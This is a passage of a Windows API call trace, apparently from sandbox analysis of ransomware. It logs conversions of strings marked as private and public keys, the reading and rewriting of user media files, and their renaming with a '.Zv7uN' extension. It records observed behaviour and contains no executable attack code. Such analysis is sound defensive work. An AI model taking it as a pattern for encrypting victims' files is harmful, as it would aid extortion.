lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.649] GetCurrentThreadId () returned 0xa30 [0127.649] GetCurrentThreadId () returned 0xa30 [0127.649] GetCurrentThreadId () returned 0xa30 [0127.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.650] GetCurrentThreadId () returned 0xa30 [0127.650] GetCurrentThreadId () returned 0xa30 [0127.650] GetCurrentThreadId () returned 0xa30 [0127.650] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\CQFopTIqW0yv6qV8vaH.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\cqfoptiqw0yv6qv8vah.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0127.650] SetFilePointer (in: hFile=0x1f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0127.650] SetFilePointer (in: hFile=0x1f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0127.650] SetFilePointer (in: hFile=0x1f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x35ed [0127.651] SetFilePointer (in: hFile=0x1f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0127.651] ReadFile (in: hFile=0x1f4, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x35ed, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18ee3c*=0x35ed, lpOverlapped=0x0) returned 1 [0127.653] CloseHandle (hObject=0x1f4) returned 1 [0127.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\CQFopTIqW0yv6qV8vaH.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\cqfoptiqw0yv6qv8vah.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0127.656] WriteFile (in: hFile=0x1f4, lpBuffer=0x1f39ac0*, nNumberOfBytesToWrite=0x35ed, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f39ac0*, lpNumberOfBytesWritten=0x18ee48*=0x35ed, lpOverlapped=0x0) returned 1 [0127.658] CloseHandle (hObject=0x1f4) returned 1 [0127.659] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\CQFopTIqW0yv6qV8vaH.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\cqfoptiqw0yv6qv8vah.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\CQFopTIqW0yv6qV8vaH.mp4.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\cqfoptiqw0yv6qv8vah.mp4.zv7un")) returned 1 [0127.660] GetCurrentThreadId () returned 0xa30 [0127.660] GetCurrentThreadId () returned 0xa30 [0127.661] GetCurrentThreadId () returned 0xa30 [0127.661] GetCurrentThreadId () returned 0xa30 [0127.661] GetCurrentThreadId () returned 0xa30 [0127.661] GetCurrentThreadId () returned 0xa30 [0127.661] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbd12cb0, ftCreationTime.dwHighDateTime=0x1d5e52d, ftLastAccessTime.dwLowDateTime=0x5cd2b7a0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x5cd2b7a0, ftLastWriteTime.dwHighDateTime=0x1d5e660, nFileSizeHigh=0x0, nFileSizeLow=0xaab1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="nbT2p47a.jpg", cAlternateFileName="")) returned 1 [0127.661] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0127.661] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0127.661] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\nbT2p47a.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\nbt2p47a.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbd12cb0, ftCreationTime.dwHighDateTime=0x1d5e52d, ftLastAccessTime.dwLowDateTime=0x5cd2b7a0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x5cd2b7a0, ftLastWriteTime.dwHighDateTime=0x1d5e660, nFileSizeHigh=0x0, nFileSizeLow=0xaab1)) returned 1 [0127.661] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\nbT2p47a.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\nbt2p47a.jpg")) returned 0x20 [0127.661] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\nbT2p47a.jpg", dwFileAttributes=0x80) returned 1 [0127.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKew